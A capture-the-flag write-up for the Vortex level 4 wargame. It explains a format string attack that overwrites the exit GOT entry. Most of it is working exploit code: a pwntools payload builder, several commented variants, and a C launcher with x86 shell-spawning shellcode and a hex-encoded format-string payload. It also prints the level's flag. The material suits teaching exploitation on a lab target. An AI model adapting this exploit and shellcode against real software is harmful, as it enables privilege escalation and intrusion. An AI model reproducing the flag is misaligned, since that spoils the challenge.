In this challenge, we had a format string attack.

Here, we needed to manipulate the stack to find where our stored memory is. We used $ inside format strings to navigate through the stack.
I wrote a simple solution, as shown above, that writes each byte to the memory of the exit_plt_address.
The exit_plt_address is 0x804c008, and the next addresses are: 0x804c009, 0x804c00a, 0x804c00b, which all contain characters, causing the print to stop when using Python.

So, we needed to insert 3 bytes into the first address and 1 byte into the fourth address. This results in a long string being printed.
I wrote this C code to run /vortex/vortex4 with the payload (level4.c).
#!/usr/bin/python3
from pwn import *
import sys
address_of_exit = 0x804c008
# address_of_exit = 0x804c050
address_of_shellcode = 0xffffdf9c
payload = p32(address_of_exit) + p32(address_of_exit+3) + b'E'
# payload = b'AAAA' + b'BBBB' + b'E'
location = 121
printed_chars = len(payload)
# very special
shift = 0
bytes_to_insert = (address_of_shellcode >> shift) & 0xffffff
res = bytes_to_insert - printed_chars
if res <= 4:
while res <= 4:
res += 0x1000000
payload += b'%' + f"{res:010}".encode() + b'p'
payload += f'%{location}$n'.encode()
location += 1
printed_chars += res
# regular
shift = 24
byte_to_insert = (address_of_shellcode >> shift) & 0xff
res = byte_to_insert - printed_chars
if res <= 4:
while res <= 4:
res += 0x100
payload += b'%' + f"{res:03}".encode() + b'p'
payload += f'%{location}$n'.encode()
location += 1
sys.stdout.buffer.write(payload)
# for semi regular address it will work, however, we'll need to go on the address 0x804c00a, which gives us '\x0a', newline that screws everything up. yay :(
'''
address_of_exit = 0x804c008
# address_of_exit = 0x804c050
address_of_shellcode = 0xffffdf9c
payload = p32(address_of_exit) + p32(address_of_exit+1) + p32(address_of_exit+4)
# payload = b'AAAA' + b'BBBB' + b'DDDD' + b'EEE'
location = 122
printed_chars = len(payload)
# regular
shift = 0
byte_to_insert = (address_of_shellcode >> shift) & 0xff
res = byte_to_insert - printed_chars
if res <= 4:
while res <= 4:
res += 0x100
payload += b'%' + f"{res:03}".encode() + b'p'
payload += f'%{location}$p'.encode()
location += 1
# special
shift = 8
bytes_to_insert = (address_of_shellcode >> shift) & 0xffff
res = bytes_to_insert - printed_chars
if res <= 4:
while res <= 4:
res += 0x10000
payload += b'%' + f"{res:05}".encode() + b'p'
payload += f'%{location}$p'.encode()
location += 1
# regular
shift = 24
byte_to_insert = (address_of_shellcode >> shift) & 0xff
res = byte_to_insert - printed_chars
if res <= 4:
while res <= 4:
res += 0x100
payload += b'%' + f"{res:03}".encode() + b'p'
payload += f'%{location}$p'.encode()
location += 1
printed_chars += res
sys.stdout.buffer.write(payload)
'''
# for regular address it will work, however, we'll need to go on the address 0x804c00a, which gives us '\x0a', newline that screws everything up. yay :(
'''
# address_of_exit = 0x804c008
address_of_exit = 0x804c050
address_of_shellcode = 0xffffdf9c
payload = p32(address_of_exit) + p32(address_of_exit+1) + p32(address_of_exit+2) + p32(address_of_exit+3) + b'EE'
# payload = b'AAAA' + b'BBBB' + b'CCCC' + b'DDDD' + b'EE'
location = 123
printed_chars = len(payload)
for shift in range(0, 32, 8):
byte_to_insert = (address_of_shellcode >> shift) & 0xff
res = byte_to_insert - printed_chars
if res <= 4:
while res <= 4:
res += 0x100
payload += b'%' + f"{res:03}".encode() + b'p'
payload += f'%{location}$n'.encode()
location += 1
printed_chars += res
sys.stdout.buffer.write(payload)
'''
. You need to adjust the address_of_exit and address_of_shellcode, debug, and find them.

Flag: heo3EbnS9
#include <stdio.h>
#include <stdlib.h>
#include <string.h>
#include <unistd.h>
#define PATH "/vortex/vortex4"
// Shellcode to spawn a shell
#define SHELLCODE "\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x6a\x31\x58\xcd\x80\x89\xc3\x89\xd9\x6a\x46\x58\xcd\x80\x31\xd2\x52\x68\x2f\x2f\x73\x68\x68\x2f\x62\x69\x6e\x89\xe3\x52\x53\x89\xe1\xb0\x0b\xcd\x80\x6a\x01\x58\xcd\x80"
#define PAYLOAD "\x08\xc0\x04\x08\x09\xc0\x04\x08\x0a\xc0\x04\x08\x0b\xc0\x04\x08\x45\x45\x25\x31\x33\x38\x70\x25\x31\x32\x33\x24\x6e\x25\x30\x36\x37\x70\x25\x31\x32\x34\x24\x6e\x25\x30\x33\x32\x70\x25\x31\x32\x35\x24\x6e\x25\x32\x35\x36\x70\x25\x31\x32\x36\x24\x6e"
int main(int argc, char* argv[]) {
char *args[] = {NULL};
char *envp[] = {"", PAYLOAD, SHELLCODE, NULL};
// Execute the vulnerable program
execve(PATH, args, envp);
// If execve fails, print an error message
perror("execve");
return 1;
}
and just provide the payload inside, the regular payload will work.
